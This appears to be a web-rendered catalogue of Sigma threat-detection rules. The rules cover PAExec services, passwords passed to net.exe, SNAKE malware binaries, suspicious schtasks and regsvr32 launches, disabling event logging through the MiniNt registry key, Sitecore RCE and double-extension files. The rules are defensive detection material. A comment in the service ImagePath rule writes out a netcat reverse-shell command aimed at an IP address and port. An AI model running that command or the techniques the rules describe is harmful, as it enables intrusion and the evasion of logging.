    - attack.execution
    - attack.t1569.002
logsource:
    product: windows
    service: system
detection:
    selection_eid:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
    selection_image:
        - ServiceName|startswith: 'PAExec-'
        - ImagePath|startswith: 'C:\WINDOWS\PAExec-'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_eid

selection_eid:
    Provider_Name: 'Service Control Manager'
    EventID: 7045

Stage 2: selection_image

selection_image:
    - ServiceName|startswith: 'PAExec-'
    - ImagePath|startswith: 'C:\WINDOWS\PAExec-'

Indicators

These rows show field, operator, and value matches.

Password Provided In Command Line Of Net.EXE

#
Status
test
Severity
medium
Author
Tim Shelton (HAWK.IO)
Source
github.com/SigmaHQ/sigma

Detects a when net.exe is called with a password in the command line

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Password Provided In Command Line Of Net.EXE
id: d4498716-1d52-438f-8084-4a603157d131
status: test
description: Detects a when net.exe is called with a password in the command line
references:
    - Internal Research
author: Tim Shelton (HAWK.IO)
date: 2021-12-09
modified: 2023-02-21
tags:
    - attack.initial-access
    - attack.persistence
    - attack.privilege-escalation
    - attack.lateral-movement
    - attack.stealth
    - attack.t1021.002
    - attack.t1078
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\net.exe'
              - '\net1.exe'
        - OriginalFileName:
              - 'net.exe'
              - 'net1.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' use '
            - ':*\\'
            - '/USER:* *'
    filter_main_empty:
        CommandLine|endswith: ' '
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_* and not 1 of filter_main_*

Stage 1: selection_img

selection_img:
    - Image|endswith:
          - '\net.exe'
          - '\net1.exe'
    - OriginalFileName:
          - 'net.exe'
          - 'net1.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - ' use '
        - ':*\\'
        - '/USER:* *'

Stage 3: not filter_main_empty

filter_main_empty:
    CommandLine|endswith: ' '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • use corpus 6 (sigma 6)
  • /USER:* *
  • :*\\
field:"CommandLine" kind:match
Imageends_with
  • \net.exe corpus 49 (sigma 49)
  • \net1.exe corpus 47 (sigma 47)
field:"Image" kind:ends_with
OriginalFileNameeq
  • net.exe corpus 25 (sigma 19, elastic 4, splunk 2)
  • net1.exe corpus 39 (sigma 19, splunk 19, elastic 1)
field:"OriginalFileName" kind:eq

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLineends_with excludes:CommandLine field:"CommandLine" value:" "

Potential SNAKE Malware Installation Binary Indicator

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a specific binary name seen used by SNAKE malware during its installation as described by CISA in their report

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

Rule Body

title: Potential SNAKE Malware Installation Binary Indicator
id: d91ff53f-fd0c-419d-a6b8-ae038d5c3733
status: test
description: Detects a specific binary name seen used by SNAKE malware during its installation as described by CISA in their report
references:
    - https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-04
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\jpsetup.exe'
            - '\jpinst.exe'
    filter_main_cli_name:
        CommandLine:
            - 'jpinst.exe'
            - 'jpinst'
            - 'jpsetup.exe'
            - 'jpsetup'
    filter_main_cli_empty:
        CommandLine: ''
    filter_main_cli_null:
        CommandLine: null
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    Image|endswith:
        - '\jpsetup.exe'
        - '\jpinst.exe'

Stage 2: not filter_main_*

filter_main_cli_name:
    CommandLine:
        - 'jpinst.exe'
        - 'jpinst'
        - 'jpsetup.exe'
        - 'jpsetup'
filter_main_cli_empty:
    CommandLine: ''
filter_main_cli_null:
    CommandLine: null

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \jpinst.exe
  • \jpsetup.exe
field:"Image" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

Program Executions in Suspicious Folders

#
Status
test
Severity
medium
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects program executions in suspicious non-program folders related to malware or hacking activity

Known False Positives

  • Admin activity (especially in /tmp folders)
  • Crazy web applications

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Program Executions in Suspicious Folders
id: a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc
status: test
description: Detects program executions in suspicious non-program folders related to malware or hacking activity
references:
    - Internal Research
author: Florian Roth (Nextron Systems)
date: 2018-01-23
modified: 2021-11-27
tags:
    - attack.t1587
    - attack.t1584
    - attack.resource-development
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'SYSCALL'
        exe|startswith:
            # Temporary folder
            - '/tmp/'
            # Web server
            - '/var/www/'              # Standard
            - '/home/*/public_html/'   # Per-user
            - '/usr/local/apache2/'    # Classical Apache
            - '/usr/local/httpd/'      # Old SuSE Linux 6.* Apache
            - '/var/apache/'           # Solaris Apache
            - '/srv/www/'              # SuSE Linux 9.*
            - '/home/httpd/html/'      # Redhat 6 or older Apache
            - '/srv/http/'             # ArchLinux standard
            - '/usr/share/nginx/html/' # ArchLinux nginx
            # Data dirs of typically exploited services (incomplete list)
            - '/var/lib/pgsql/data/'
            - '/usr/local/mysql/data/'
            - '/var/lib/mysql/'
            - '/var/vsftpd/'
            - '/etc/bind/'
            - '/var/named/'
    condition: selection
falsepositives:
    - Admin activity (especially in /tmp folders)
    - Crazy web applications
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    type: 'SYSCALL'
    exe|startswith:
        - '/tmp/'
        - '/var/www/'
        - '/home/*/public_html/'
        - '/usr/local/apache2/'
        - '/usr/local/httpd/'
        - '/var/apache/'
        - '/srv/www/'
        - '/home/httpd/html/'
        - '/srv/http/'
        - '/usr/share/nginx/html/'
        - '/var/lib/pgsql/data/'
        - '/usr/local/mysql/data/'
        - '/var/lib/mysql/'
        - '/var/vsftpd/'
        - '/etc/bind/'
        - '/var/named/'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
exestarts_with
  • /etc/bind/
  • /home/*/public_html/
  • /home/httpd/html/
  • /srv/http/
  • /srv/www/
  • /tmp/
  • /usr/local/apache2/
  • /usr/local/httpd/
  • /usr/local/mysql/data/
  • /usr/share/nginx/html/
  • /var/apache/
  • /var/lib/mysql/
  • /var/lib/pgsql/data/
  • /var/named/
  • /var/vsftpd/
  • /var/www/
field:"exe" kind:starts_with
typeeq
  • SYSCALL corpus 27 (splunk 15, sigma 12)
field:"type" kind:eq value:"SYSCALL"

Schtasks From Suspicious Folders

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects scheduled task creations that have suspicious action command and folder combinations

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Schtasks From Suspicious Folders
id: 8a8379b8-780b-4dbf-b1e9-31c8d112fefb
status: test
description: Detects scheduled task creations that have suspicious action command and folder combinations
references:
    - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical
author: Florian Roth (Nextron Systems)
date: 2022-04-15
modified: 2022-11-18
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.t1053.005
logsource:
    product: windows
    category: process_creation
detection:
    selection_img:
        - Image|endswith: '\schtasks.exe'
        - OriginalFileName: 'schtasks.exe'
    selection_create:
        CommandLine|contains: ' /create '
    selection_command:
        CommandLine|contains:
            - 'powershell'
            - 'pwsh'
            - 'cmd /c '
            - 'cmd /k '
            - 'cmd /r '
            - 'cmd.exe /c '
            - 'cmd.exe /k '
            - 'cmd.exe /r '
    selection_all_folders:
        CommandLine|contains:
            - 'C:\ProgramData\'
            - '%ProgramData%'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\schtasks.exe'
    - OriginalFileName: 'schtasks.exe'

Stage 2: selection_create

selection_create:
    CommandLine|contains: ' /create '

Stage 3: selection_command

selection_command:
    CommandLine|contains:
        - 'powershell'
        - 'pwsh'
        - 'cmd /c '
        - 'cmd /k '
        - 'cmd /r '
        - 'cmd.exe /c '
        - 'cmd.exe /k '
        - 'cmd.exe /r '

Stage 4: selection_all_folders

selection_all_folders:
    CommandLine|contains:
        - 'C:\ProgramData\'
        - '%ProgramData%'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /create corpus 15 (sigma 15)
  • %ProgramData% corpus 4 (sigma 4)
  • C:\ProgramData\ corpus 6 (sigma 6)
  • cmd /c corpus 4 (sigma 4)
  • cmd /k corpus 4 (sigma 4)
  • cmd /r corpus 4 (sigma 4)
  • cmd.exe /c corpus 6 (sigma 6)
  • cmd.exe /k corpus 5 (sigma 5)
  • cmd.exe /r corpus 5 (sigma 5)
  • powershell corpus 24 (sigma 24)
  • pwsh corpus 7 (sigma 7)
field:"CommandLine" kind:match
Imageends_with
  • \schtasks.exe corpus 55 (sigma 55)
field:"Image" kind:ends_with value:"\schtasks.exe"
OriginalFileNameeq
  • schtasks.exe corpus 29 (sigma 18, elastic 7, splunk 4)
field:"OriginalFileName" kind:eq value:"schtasks.exe"

Scripting/CommandLine Process Spawned Regsvr32

#
Status
test
Severity
medium
Author
Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.

Known False Positives

  • Legitimate ".bat", ".hta", ".ps1" or ".vbs" scripts leverage legitimately often. Apply additional filter and exclusions as necessary
  • Some legitimate Windows services

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Scripting/CommandLine Process Spawned Regsvr32
id: ab37a6ec-6068-432b-a64e-2c7bf95b1d22
related:
    - id: 8e2b24c9-4add-46a0-b4bb-0057b4e6187d
      type: obsolete
status: test
description: Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.
references:
    - https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
    - https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-26
tags:
    - attack.stealth
    - attack.t1218.010
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\powershell_ise.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
        Image|endswith: '\regsvr32.exe'
    filter_main_rpcproxy:
        ParentImage: C:\Windows\System32\cmd.exe
        CommandLine|endswith: ' /s C:\Windows\System32\RpcProxy\RpcProxy.dll'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Legitimate ".bat", ".hta", ".ps1" or ".vbs" scripts leverage legitimately often. Apply additional filter and exclusions as necessary
    - Some legitimate Windows services
level: medium # Can be reduced to low if you experience a ton of FP

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    ParentImage|endswith:
        - '\cmd.exe'
        - '\cscript.exe'
        - '\mshta.exe'
        - '\powershell_ise.exe'
        - '\powershell.exe'
        - '\pwsh.exe'
        - '\wscript.exe'
    Image|endswith: '\regsvr32.exe'

Stage 2: not filter_main_rpcproxy

filter_main_rpcproxy:
    ParentImage: C:\Windows\System32\cmd.exe
    CommandLine|endswith: ' /s C:\Windows\System32\RpcProxy\RpcProxy.dll'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \regsvr32.exe corpus 64 (sigma 64)
field:"Image" kind:ends_with value:"\regsvr32.exe"
ParentImageends_with
  • \cmd.exe corpus 20 (sigma 20)
  • \cscript.exe corpus 17 (sigma 17)
  • \mshta.exe corpus 13 (sigma 13)
  • \powershell.exe corpus 24 (sigma 24)
  • \powershell_ise.exe corpus 3 (sigma 3)
  • \pwsh.exe corpus 21 (sigma 21)
  • \wscript.exe corpus 19 (sigma 19)
field:"ParentImage" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLineends_with /s C:\Windows\System32\RpcProxy\RpcProxy.dllexcludes:CommandLine field:"CommandLine" value:" /s C:\Windows\System32\RpcProxy\RpcProxy.dll"
ParentImageeqC:\Windows\System32\cmd.exeexcludes:ParentImage field:"ParentImage" value:"C:\Windows\System32\cmd.exe"

Security Event Logging Disabled via MiniNt Registry Key - Registry Set

#
Status
experimental
Severity
high
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the addition of the 'MiniNt' key to the registry. Upon a reboot, Windows Event Log service will stop writing events. Windows Event Log is a service that collects and stores event logs from the operating system and applications. It is an important component of Windows security and auditing. Adversary may want to disable this service to disable logging of security events which could be used to detect their activities.

Known False Positives

  • Highly Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Security Event Logging Disabled via MiniNt Registry Key - Registry Set
id: 8839e550-52d7-4958-9f2f-e13c1e736838
related:
    - id: 1a4bd6af-99ac-4466-b5b2-7b72b4a05462 # Security Event Logging Disabled Via MiniNt Registry Key
      type: similar
status: experimental
description: |
    Detects the addition of the 'MiniNt' key to the registry. Upon a reboot, Windows Event Log service will stop writing events.
    Windows Event Log is a service that collects and stores event logs from the operating system and applications. It is an important component of Windows security and auditing.
    Adversary may want to disable this service to disable logging of security events which could be used to detect their activities.
references:
    - https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-04-09
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1685.001
    - attack.t1112
    - car.2022-03-001
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject: 'HKLM\System\CurrentControlSet\Control\MiniNt\(Default)'
    condition: selection
falsepositives:
    - Highly Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject: 'HKLM\System\CurrentControlSet\Control\MiniNt\(Default)'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetObjecteq
  • HKLM\System\CurrentControlSet\Control\MiniNt\(Default)
field:"TargetObject" kind:eq value:"HKLM\System\CurrentControlSet\Control\MiniNt\(Default)"

Security Software Discovery - Linux

#
Status
test
Severity
low
Author
Daniil Yugoslavskiy, oscd.community
Source
github.com/SigmaHQ/sigma

Detects usage of system utilities (only grep and egrep for now) to discover security software discovery

Known False Positives

  • Legitimate activities

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Security Software Discovery - Linux
id: c9d8b7fd-78e4-44fe-88f6-599135d46d60
status: test
description: Detects usage of system utilities (only grep and egrep for now) to discover security software discovery
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md
author: Daniil Yugoslavskiy, oscd.community
date: 2020-10-19
modified: 2022-11-27
tags:
    - attack.discovery
    - attack.t1518.001
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            # You can add more grep variations such as fgrep, rgrep...etc
            - '/grep'
            - '/egrep'
        CommandLine|contains:
            - 'nessusd'        # nessus vulnerability scanner
            - 'td-agent'       # fluentd log shipper
            - 'packetbeat'     # elastic network logger/shipper
            - 'filebeat'       # elastic log file shipper
            - 'auditbeat'      # elastic auditing agent/log shipper
            - 'osqueryd'       # facebook osquery
            - 'cbagentd'       # carbon black
            - 'falcond'        # crowdstrike falcon
    condition: selection
falsepositives:
    - Legitimate activities
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith:
        - '/grep'
        - '/egrep'
    CommandLine|contains:
        - 'nessusd'
        - 'td-agent'
        - 'packetbeat'
        - 'filebeat'
        - 'auditbeat'
        - 'osqueryd'
        - 'cbagentd'
        - 'falcond'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • auditbeat corpus 3 (sigma 3)
  • cbagentd
  • falcond corpus 2 (sigma 2)
  • filebeat corpus 3 (sigma 3)
  • nessusd corpus 2 (sigma 2)
  • osqueryd corpus 2 (sigma 2)
  • packetbeat corpus 3 (sigma 3)
  • td-agent corpus 3 (sigma 3)
field:"CommandLine" kind:match
Imageends_with
  • /egrep corpus 2 (sigma 2)
  • /grep corpus 7 (sigma 7)
field:"Image" kind:ends_with

Service abuse with malicious ImagePath (Reg via PowerShell)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker modify the original service executable path with a malicious one.

Known False Positives

  • administrator reconfiguring service

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Service abuse with malicious ImagePath (Reg via PowerShell)
description: Detects scenarios where an attacker modify the original service executable path with a malicious one.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742019(v=ws.11)
- https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
- https://medium.com/r3d-buck3t/abuse-service-registry-acls-windows-privesc-f88079140509
tags:
- attack.persistence
- attack.t1543.003
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\xboxgip -name ImagePath -value "C:\nc.exe -e powershell.exe 10.10.14.26 4447"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  condition: 1 of selection*
falsepositives:
- administrator reconfiguring service
level: high

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection_powershell_native

selection_powershell_native:
  EventID: 800
  EventData|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\'
    - ImagePath

Stage 2: selection_powershell_modern

selection_powershell_modern:
  EventID: 4103
  Payload|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\'
    - ImagePath

Stage 3: selection_powershell_block

selection_powershell_block:
  EventID: 4104
  ScriptBlockText|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\'
    - ImagePath

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
EventDatamatch
  • -ItemProperty corpus 5 (sigma 5)
  • ImagePath
  • \SYSTEM\CurrentControlSet\Services\ corpus 2 (sigma 2)
field:"EventData" kind:match
Payloadmatch
  • -ItemProperty corpus 5 (sigma 5)
  • ImagePath
  • \SYSTEM\CurrentControlSet\Services\ corpus 2 (sigma 2)
field:"Payload" kind:match
ScriptBlockTextmatch
  • -ItemProperty corpus 5 (sigma 5)
  • ImagePath
  • \SYSTEM\CurrentControlSet\Services\ corpus 2 (sigma 2)
field:"ScriptBlockText" kind:match

Sitecore Pre-Auth RCE CVE-2021-42237

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx

Known False Positives

  • Vulnerability Scanning

MITRE ATT&CK Coverage

TacticTechniques
Initial Access

Rule Body

title: Sitecore Pre-Auth RCE CVE-2021-42237
id: 20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f
status: test
description: Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx
references:
    - https://blog.assetnote.io/2021/11/02/sitecore-rce/
    - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776
author: Florian Roth (Nextron Systems)
date: 2021-11-17
modified: 2023-01-02
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2021-42237
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/sitecore/shell/ClientBin/Reporting/Report.ashx'
        sc-status: 200
    condition: selection
falsepositives:
    - Vulnerability Scanning
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    cs-method: 'POST'
    cs-uri-query|contains: '/sitecore/shell/ClientBin/Reporting/Report.ashx'
    sc-status: 200

Indicators

These rows show field, operator, and value matches.

Steganography Unzip Hidden Information From Picture File

#
Status
test
Severity
low
Author
Pawel Mazur
Source
github.com/SigmaHQ/sigma

Detects extracting of zip file from image file

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Steganography Unzip Hidden Information From Picture File
id: edd595d7-7895-4fa7-acb3-85a18a8772ca
status: test
description: Detects extracting of zip file from image file
references:
    - https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/
author: 'Pawel Mazur'
date: 2021-09-09
modified: 2022-10-09
tags:
    - attack.stealth
    - attack.t1027.003
logsource:
    product: linux
    service: auditd
detection:
    commands:
        type: EXECVE
        a0: unzip
    a1:
        a1|endswith:
            - '.jpg'
            - '.png'
    condition: commands and a1
falsepositives:
    - Unknown
level: low

Stages and Predicates

Stage 0: condition

commands and a1

Stage 1: commands

commands:
    type: EXECVE
    a0: unzip

Stage 2: a1

a1:
    a1|endswith:
        - '.jpg'
        - '.png'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
a0eq
  • unzip
field:"a0" kind:eq value:"unzip"
a1ends_with
  • .jpg corpus 3 (sigma 3)
  • .png corpus 3 (sigma 3)
field:"a1" kind:ends_with
typeeq
  • EXECVE corpus 37 (sigma 31, splunk 6)
field:"type" kind:eq value:"EXECVE"

Suspicious Double Extension File Execution

#
Status
stable
Severity
high
Author
Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns

MITRE ATT&CK Coverage

TacticTechniques
Initial Access

Telemetry Coverage

Rule Body

title: Suspicious Double Extension File Execution
id: 1cdd9a09-06c9-4769-99ff-626e2b3991b8
related:
    - id: 5e6a80c8-2d45-4633-9ef4-fa2671a39c5c # ParentImage/ParentCommandLine
      type: similar
status: stable
description: Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns
references:
    - https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html
    - https://twitter.com/blackorbird/status/1140519090961825792
    - https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites
author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems)
date: 2019-06-26
modified: 2025-05-30
tags:
    - attack.initial-access
    - attack.t1566.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '      .exe'
            - '______.exe'
            - '.doc.exe'
            - '.doc.js'
            - '.docx.exe'
            - '.docx.js'
            - '.gif.exe'
            - '.jpeg.exe'
            - '.jpg.exe'
            - '.mkv.exe'
            - '.mov.exe'
            - '.mp3.exe'
            - '.mp4.exe'
            - '.pdf.exe'
            - '.pdf.js'
            - '.png.exe'
            - '.ppt.exe'
            - '.ppt.js'
            - '.pptx.exe'
            - '.pptx.js'
            - '.rtf.exe'
            - '.rtf.js'
            - '.svg.exe'
            - '.txt.exe'
            - '.txt.js'
            - '.xls.exe'
            - '.xls.js'
            - '.xlsx.exe'
            - '.xlsx.js'
            - '⠀⠀⠀⠀⠀⠀.exe' # Unicode Space Character: Braille Pattern Blank (Unicode: U+2800)
        CommandLine|contains:
            - '      .exe'
            - '______.exe'
            - '.doc.exe'
            - '.doc.js'
            - '.docx.exe'
            - '.docx.js'
            - '.gif.exe'
            - '.jpeg.exe'
            - '.jpg.exe'
            - '.mkv.exe'
            - '.mov.exe'
            - '.mp3.exe'
            - '.mp4.exe'
            - '.pdf.exe'
            - '.pdf.js'
            - '.png.exe'
            - '.ppt.exe'
            - '.ppt.js'
            - '.pptx.exe'
            - '.pptx.js'
            - '.rtf.exe'
            - '.rtf.js'
            - '.svg.exe'
            - '.txt.exe'
            - '.txt.js'
            - '.xls.exe'
            - '.xls.js'
            - '.xlsx.exe'
            - '.xlsx.js'
            - '⠀⠀⠀⠀⠀⠀.exe' # Unicode Space Character: Braille Pattern Blank (Unicode: U+2800)
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_susp_double_extension/info.yml

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith:
        - '      .exe'
        - '______.exe'
        - '.doc.exe'
        - '.doc.js'
        - '.docx.exe'
        - '.docx.js'
        - '.gif.exe'
        - '.jpeg.exe'
        - '.jpg.exe'
        - '.mkv.exe'
        - '.mov.exe'
        - '.mp3.exe'
        - '.mp4.exe'
        - '.pdf.exe'
        - '.pdf.js'
        - '.png.exe'
        - '.ppt.exe'
        - '.ppt.js'
        - '.pptx.exe'
        - '.pptx.js'
        - '.rtf.exe'
        - '.rtf.js'
        - '.svg.exe'
        - '.txt.exe'
        - '.txt.js'
        - '.xls.exe'
        - '.xls.js'
        - '.xlsx.exe'
        - '.xlsx.js'
        - '⠀⠀⠀⠀⠀⠀.exe'
    CommandLine|contains:
        - '      .exe'
        - '______.exe'
        - '.doc.exe'
        - '.doc.js'
        - '.docx.exe'
        - '.docx.js'
        - '.gif.exe'
        - '.jpeg.exe'
        - '.jpg.exe'
        - '.mkv.exe'
        - '.mov.exe'
        - '.mp3.exe'
        - '.mp4.exe'
        - '.pdf.exe'
        - '.pdf.js'
        - '.png.exe'
        - '.ppt.exe'
        - '.ppt.js'
        - '.pptx.exe'
        - '.pptx.js'
        - '.rtf.exe'
        - '.rtf.js'
        - '.svg.exe'
        - '.txt.exe'
        - '.txt.js'
        - '.xls.exe'
        - '.xls.js'
        - '.xlsx.exe'
        - '.xlsx.js'
        - '⠀⠀⠀⠀⠀⠀.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • .exe
  • .doc.exe
  • .doc.js
  • .docx.exe
  • .docx.js
  • .gif.exe
  • .jpeg.exe
  • .jpg.exe
  • .mkv.exe
  • .mov.exe
  • .mp3.exe
  • .mp4.exe
  • .pdf.exe
  • .pdf.js
  • .png.exe
  • .ppt.exe
  • .ppt.js
  • .pptx.exe
  • .pptx.js
  • .rtf.exe
  • .rtf.js
  • .svg.exe
  • .txt.exe
  • .txt.js
  • .xls.exe
  • .xls.js
  • .xlsx.exe
  • .xlsx.js
  • ______.exe
  • ⠀⠀⠀⠀⠀⠀.exe
field:"CommandLine" kind:match
Imageends_with
  • .exe
  • .doc.exe
  • .doc.js
  • .docx.exe
  • .docx.js
  • .gif.exe
  • .jpeg.exe
  • .jpg.exe
  • .mkv.exe
  • .mov.exe
  • .mp3.exe
  • .mp4.exe
  • .pdf.exe
  • .pdf.js
  • .png.exe
  • .ppt.exe
  • .ppt.js
  • .pptx.exe
  • .pptx.js
  • .rtf.exe
  • .rtf.js
  • .svg.exe
  • .txt.exe
  • .txt.js
  • .xls.exe
  • .xls.js
  • .xlsx.exe
  • .xlsx.js
  • ______.exe
  • ⠀⠀⠀⠀⠀⠀.exe
field:"Image" kind:ends_with

Suspicious Greedy Compression Using Rar.EXE

#
Status
test
Severity
high
Author
X__Junior (Nextron Systems), Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Suspicious Greedy Compression Using Rar.EXE
id: afe52666-401e-4a02-b4ff-5d128990b8cb
status: test
description: Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes
references:
    - https://decoded.avast.io/martinchlumecky/png-steganography
author: X__Junior (Nextron Systems), Florian Roth (Nextron Systems)
date: 2022-12-15
modified: 2024-01-02
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    category: process_creation
detection:
